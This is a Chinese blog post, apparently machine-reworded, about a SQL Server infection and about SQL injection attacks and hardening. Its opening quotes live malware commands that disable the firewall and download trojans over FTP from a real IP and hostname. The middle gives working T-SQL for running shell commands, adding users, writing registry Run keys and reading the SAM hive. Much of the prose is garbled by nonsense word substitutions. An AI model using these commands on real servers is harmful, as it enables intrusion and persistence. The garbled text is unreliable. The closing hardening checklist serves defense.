ACCESSsqlserver注入形式与双鸭山戒备的学习

   
自己的开发机经历了四遍的中毒现像.每一回中毒的现像,都是sqlserver.exe进程去履行cmd.com进程,然后生成*.sys与*.bat六个文本,然后去行使ftp.exe去下载木马下载器,然后杀毒软件最先报警了.

    下面是cmd.com执行命令内容
    “C:”WINDOWS”system32″cmd.com” /c net1 stop sharedaccess&echo open
218.61.11.97>dboy.sys&echo 11>>dboy.sys&echo
11>>dboy.sys&echo get pc.exe C:”boots.exe>>dboy.sys&echo
bye>>dboy.sys&echo ftp -s:dboy.sys>dboy.bat&echo copy
C:”boots.exeC:”WINDOWS”system32″inf”test.exe&echo start start /high “”
C:”WINDOWS”system32″inf”test.exe&echo start
C:”boots.exe>>dboy.bat&echo start
C:”boots.exe>>dboy.bat&echo del dboy.sys>>dboy.bat&echo del
%0>>dboy.bat&dboy.bat

    “C:”WINDOWS”system32″cmd.com” /c sc stop sharedaccess&echo open
ddosboy1.3322.org >dboy1.sys&echo dboy>>dboy1.sys&echo
if>>dboy1.sys&echo get dboy1.exe
C:”Windows”tcpsrv1.exe>>dboy1.sys&echo bye>>dboy1.sys&echo
ftp -s:dboy1.sys>system1.bat&echo start
C:”Windows”tcpsrv1.exe>>system1.bat&echo start
C:”Windows”tcpsrv1.exe>>system1.bat&echo del
dboy1.sys>>system1.bat&echo del
%0>>system1.bat&system1.bat

   第四遍中毒,之后,就对sql server举行了增长,删除了”xp_cmdshell”这些sql
server中最不安全的恢宏存储过程.可是,好了没一个月,又来中三回.
  
这一遍,我检查了数据库日志,xp_cmdshell并不曾回复,可是却在日记在意识了sp_oacreate与sp_oamethod三个存储过程的实践日志.
   于是上网学习,把温馨的上学的一些东西记录下来:
   1. 起码sql注入攻击
   初级黑客攻击SQL
Server时,首先选用的不二法门是履行master数据库中的扩充存储过程xp_cmdshell命令来实施一些限令,添加用户,添加文书,添加木马病毒等.
   对付此类黑客只要禁用xp_cmdshell存储过程就足以了.
   xp_cmdshell是一个同意实施任意的指令行命令的松开的囤积过程。例如:
   Exec master..xp_cmdshell ‘dir’
   将得到SQLSERVER进程的当前工作目录中的目录列表。如图:

ACCESS 1

 

   Exec master..xp_cmdshell ‘net user’
  
将提供服务器上存有用户的列表。当SQLSERVER正常以序列帐户或域帐户运行时,攻击者能够做出更要紧的妨害。

  
从地方的六个示范中可以见到xp_cmdshell的无敌效能,成效的有力也表示破坏性的强大.
  
一般情状下,xp_cmdshell对领队来说也是不必要的,xp_cmdshell的破除不会对Server造成其他影响。  
 
   可以将xp_cmdshell消除:    
   Use   Master    
   Exec   sp_dropextendedproc   ‘xp_cmdshell’
   Go    
         
   假设需要的话,可以把xp_cmdshell复苏回来:    
   Use   Master    
   Exec   sp_addextendedproc   ‘xp_cmdshell’, ‘xplog70.dll’
   Go    

   借使有必要可以把xplog70.dll这几个文件也删除了,记得做好备份.

sql 2005:

    sql 2005默认情况下是不可能举办xp_cmdshell存储过程的,但这就高枕无忧了吧?

 
开启xp_cmdshell存储过程的履行权限
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC
sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;
关闭xp_cmdshell存储过程的执行权限
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC
sp_configure ‘xp_cmdshell’, 0;RECONFIGURE;

 

 

  
删除了xplog70.dll将影响到”公司管理器”的一有些机能,我遭逢的是力不从心在”集团管理器”中查阅数据库服务器的属性.
   
   2.当中sql注入攻击
     我们开展了地点这一步的操作之后,就可以防范住了sql
server的本溪了呢?不行,这只好针对有的刚上学sql注入的菜鸟才有效的办法,对于中鸟及老鸟可特别,他们的点子可多了.
     现在让大家来看一下当中注入的方法.
    
当数据库管理员禁用了xp_cmdshell同时删除了xplog70.dll,也明令禁止了文本上传效用,那么针对初级来说使用xp_cmdshell来进展一些操作已经不可行了.
     然则微软还提供了一部分任何效率的积存过程,可以让中级黑客举办入侵.
     1) 利用OLE对象接口
      SQL
SERVER提供了一部分函数访问OLE对象,分别是sp_OACREATE和sp_OAMethod,
      可以利用他们调用OLE控件,直接获取一个
shell。使用SP_OAcreate调用对象wscript。shell赋给变量@shell,然后使用SP_OAMETHOD调用@shell的性质run执行命令。

      DECLARE @shell INT
      EXEC SP_OAcreate ‘wscript.shell’,@shell out
      EXEC SP_OAMETHOD @shell,’run’,null, ‘net user hack hack /add’

    2) 开启access的沙盒格局
       在默认情状下Jet数据引擎不襄助select shell(“net user ray ray
/add”)这样的SQL语句,
       不过开启了JET引擎的沙盒情势后就可以执行命令,
       先利用xp_regwrite存储过程改写注册表,然后利用
OpenRowSet访问一个体系本身自带的一个ACCESS数据库文件,再举行运行命令的SQL语句。

       EXEC master.dbo.xp_regwrite
‘HKEY_LOCAL_MACHINE’,’SoftWare”Microsoft”Jet”4.0   
“Engines’,’SandBoxMode’,’REG_DWORD’,3

    SandBoxmode值说明
    默认值为2,
    0–表示一贯禁用SandBoxmode格局,
    1–表示对于非Acess应用程序试用SandBoxmode情势,
    2–象征对access应用程序使用SandBoxmode形式,
    3–则意味着完全翻开安全设置。

        Select * From
OpenRowSet(‘Microsoft.Jet.OLEDB.4.0′,’;Database=c:”windows”system32″ias”ias.mdb’,’select
shell(“net user hack hack /add”)’);

 
     3) 利用xp_regxxxxx之类的仓储过程写注册表项
    这多少个主意惟有sa账户或是sysadmin权限的帐户才得以使用.
    执行
    exec xp_regread ”HKEY_LOCAL_MACHINE”,
”SECURITY”SAM”Domains”Account”, ”F”
    假设遇上一个疏忽的指挥者,说不定就能收获管理员的密码.
    加一个启动项什么的自然不在话下。
    利用xp_regwrite写注册表项,直接把要推行的下令写入RUN启动项。
    EXEC master.dbo.xp_regwrite
‘HKEY_LOCAL_MACHINE’,’SOFTWARE”Microsoft”Windows”currentversion”run’,’shell’,’REG_SZ’,’C:”windows”system32″cmd.exe
/c net user hack hack /add’

    假设有必不可少就把这一个扩充都剔除了
    Xp_regaddmultistring (向注册表中加进项目)
    Xp_regdeletekey (从注册表中除去一个键)
    Xp_regdeletevalue (从注册表中删去一个键值)
    Xp_regenumvalues (列举主键下的键值)
    Xp_regread (读去一个主键下的键值)
    Xp_regremovemultistring (从注册表中删去项目)
    Xp_regwrite (向注册表中写入数据)

    4 ) 利用SQL代理执行命令
      
默认处境下这一个服务是关门的.大家可以先选用xp_servicecontrol开启SQLSERVERAGENT,然后建立个SQL计划任务,然后随即运行这多少个职责。

        exec master.dbo.xp_servicecontrol ‘start’,’SQLSERVERAGENT’
        use msdb exec sp_delete_job null,’x’
        exec sp_add_job ‘x’
        exec sp_add_jobstep Null,’x’,Null,’1′,’CMDEXEC’,’cmd /c Dir
C:”‘
        exec sp_add_jobserver Null,’x’,@@servername exec
sp_start_job ‘x’

  
 除了我举的地点四种办法外,还有此外措施,可是自己不太明白,我就不一一列举了。

   三、其他获取系统信息
    
    历遍目录
    exec master.dbo.xp_dirtree ‘c:”‘
    获取子目录
    exec master.dbo.xp_subdirs ‘c:”‘
    列举可用的系统分区
    exec master.dbo.xp_availablemedia
    判断目录或文件是否存在
    exec master..xp_fileexist ‘c:”boot.ini’
    等等,不一一列举了.

    四、高级注入技术
       
对于高等级注入技术,我在网上没找到有关的就学材料,我想那么些技巧也应有是在一小部分人群中传唱的。所以也就未能讲起了。

   五、防御SQL注入的有些要义与艺术
    1. 认可已经安装了windows操作系统和SQL Server的新颖补丁程序。  
    2.
评估并且选取一个设想到最大的安全性可是还要又不影响效应的网络协议。
多合计是明智的抉择, 可是它有时不可能在异种的环境中运用。  
       表达:要是可能请除去不需要的网络协议。  
    3. 给 “sa”
和具备”sysadmin”权限的帐户设定强壮的密码来提升其安全性。至于怎样是健全的密码吗,个人认为是字母、数字、特殊字符的整合,不少八位字符。
    4. 使用一个低特权用户作为 SQL 服务器服务的询问操作账户,不要用
LocalSystem 或sa。
       那么些低权限的帐户应该唯有很小的权杖和界定这么些帐户对SQL
Server的查询与存取操作。 用户可以用很小权限查询sql
server中的很多事物。若非必须毫无给予多余的权能。
       注意:当使用集团管理器做如上设置时 ,
文件,注册表和使用者权利上的权柄处理。  

    5. 规定所有的SQL服务器数据,而且系统文件是设置在 NTFS
分区,且”目录访问控制”被采纳。
      
假若万一某人获取对系统的存取操作权限,该层权限可以阻止入侵者破坏数据,避免造成一场大灾难。
 

    6.假诺你不需要 xp_cmdshell
这请停用它。假设需要的话再把它扩大回来。
    其实这也好也欠好————一个侵入者假设发现它不在了,也只需要把她加回来。考虑一下,可以除去在底下的
dll可是移除往日务必测试因为有点dll同时被有些程序所用。
    要找到此外的次第是否接纳同样的 dll请举办以下步骤:  
    首先拿到该 dll:
    select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where
c.id=o.id and o.name=‘xp_cmdshell‘  
    其次,使用相同的 dll发现其它的扩展储存操作是否利用该dll:
    select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where
c.id=o.id and c.text=‘xplog70.dll‘  
    用户可以用相同的点子处理下边步骤中任何你想去掉的长河。  

    7. 如不需要就停用对象连接与嵌入自动化储存程序 ( 警告 –
当这么些囤积程序被停用的时候 , 一些商家管理器功用可能有失).
那个囤积过程如下:  
    sp_OACreate  
    sp_OADestroy  
    sp_OAGetErrorInfo  
    sp_OAGetProperty  
    sp_OAMethod  
    sp_OASetProperty  
    sp_OAStop  
  
 假诺你决定停用那一个囤积过程,那么请给她们写一个剧本这样在随后您用到他俩的时候你可知把他们重新添加回来

    8. 剥夺你不需要的注册表存储过程。(同地点的告诫)这个包括:  
    xp_regaddmultistring  
    xp_regdeletekey  
    xp_regdeletevalue  
    xp_regenumvalues  
    xp_regremovemultistring  
    注意 :xp_regread/
xp_regwrite这几个存储过程的移除影响局部重大效能包括日志和SP的设置,所以他们的移除不被推荐。
 

    9.移除其他你认为会促成威迫的体系储存过程。
这种存储过程是一对一多的,而且他们也会浪费一些cpu时间。
    
小心不要首先在一个部署好的服务器上这么做。首先在付出的机械上测试,确认这样不会影响到此外的连串机能。在底下是大家所推荐的有待你评估的片段列表:
 
    sp_sdidebug  
    xp_availablemedia  
    xp_cmdshell  
    xp_deletemail  
    xp_dirtree  
    xp_dropwebtask  
    xp_dsninfo  
    xp_enumdsn  
    xp_enumerrorlogs  
    xp_enumgroups  
    xp_enumqueuedtasks  
    xp_eventlog  
    xp_findnextmsg  
    xp_fixeddrives  
    xp_getfiledetails  
    xp_getnetname  
    xp_grantlogin  
    xp_logevent  
    xp_loginconfig  
    xp_logininfo  
    xp_makewebtask  
    xp_msver xp_perfend  
    xp_perfmonitor  
    xp_perfsample  
    xp_perfstart  
    xp_readerrorlog  
    xp_readmail  
    xp_revokelogin  
    xp_runwebtask  
    xp_schedulersignal  
    xp_sendmail  
    xp_servicecontrol  
    xp_snmp_getstate  
    xp_snmp_raisetrap  
    xp_sprintf  
    xp_sqlinventory  
    xp_sqlregister  
    xp_sqltrace  
    xp_sscanf  
    xp_startmail  
    xp_stopmail  
    xp_subdirs  
    xp_unc_to_drive  
    xp_dirtree  
    

    10. 除了数据库的guest账户,这样可以把未经许可的使用者排除在外。
例外情形是master和 tempdb 数据库,因为对他们guest帐户是不可或缺的。  

    11.
若非无法不,请完全地剥夺SQL邮件效能。它的存在使潜在的攻击者递送潜在的
trojans ,病毒或是简单实现一个DOS攻击成为可能  

    12. 记录所有的用户存取访问情形。
从集团管理器做这一个设定或通过以sa登陆进入查询分析器的下列各项:  
    xp_instance_regwrite N‘HKEY_LOCAL_MACHINE‘, N‘SOFTWARE”
Microsoft”MSSQLServer”MSSQLServer‘,N‘AuditLevel‘,REG_DWORD,3  

    13. 确立一个计划的任务运行: 
  
 然后再重定向输出到一个文书文件或电子邮件,由此你监测退步的登录尝试。
    这也为系统管理员提供一个好的笔录攻击的模式。
也有成百上千用来分析NT日志事件的陌生人工具。
    注意: 你可能需要将路径换成你安装SQL的门路。  

    14. 设定非法访问和登陆败北日志警报。到 公司管理器中的”Manager SQL
Server Messages “搜寻此外有关无权访问的信息
    ( 从寻觅”login failed”和”denied”最先).
确定你持有感兴趣的音信被记录到事件日志。然后在那一个信息上设定警报 ,
发送一个电子邮件或音信到一个可知对问题立刻响应的操作员。  

    15.
时时检查组或角色全部会员并且规定用组分配权限,那样您的审计工作可以简化。
确定当您在的时候 , 公众的组无法从系统表执行拔取操作。  

    16. 花些时间审计用空密码登陆的呼吁。 使用下边的代码举行空密码检查:
 
    select  
    password  ,*
    from syslogins  
    where password is null  
    order by name  

    17. 反省有着非sa用户的存取进程和扩张存储进程的权能。
使用下面的询问定期的询问哪一个历程有公众存储权限:  
    Use master  
    select sysobjects.name  
    from sysobjects,sysprotects  
    where sysprotects.uid=0  
    AND xtype 在 (‘X‘,‘P‘)  
    AND sysobjects.id=sysprotects.id  
    Order by name  

    18. 即刻用公司管理器的时候,使用整合的安全策略。
过去,集团管理器被察觉在正式的安全模态中储存 “sa” 密码在注册表的
plaintext 中。 注意: 尽管您转移模态,密码也会留在注册表中。

sql 2000:

    使用 regedit 而且检查键:  
    HKEY_USERS”{yourSID}”software”Microsoft”Microsoft SQL
server”80″tool”SQLEW”registered server X”SQL server group  
    (“SQL server组” 是默认值不过你也许已成立用户组由此相应地改成其职务)
 

 

sql 2005曾经远非在注册表中写sqlew这些键了.

      

 

    19.
制定一个有惊无险审查计划,每月的一份安全告知,对IT总老董可用的报表包括新的支出内容中展开的数据库修改,成功的攻击
, 备份珍视 , 和目的存取失利总计。  

    20. 毫不允许使用者交互式登陆到 SQL
Server之上。这些规则适用其他的服务器。
一旦一个使用者可以交互式进入一个服务器之内,就有能用来获取管理员的存取特权得到管理员权限。
 

 

 最终就是,对方怎么得到本人的支出机上的动态IP的,这我怎么也没想清楚.

 

 

 

 

相关文章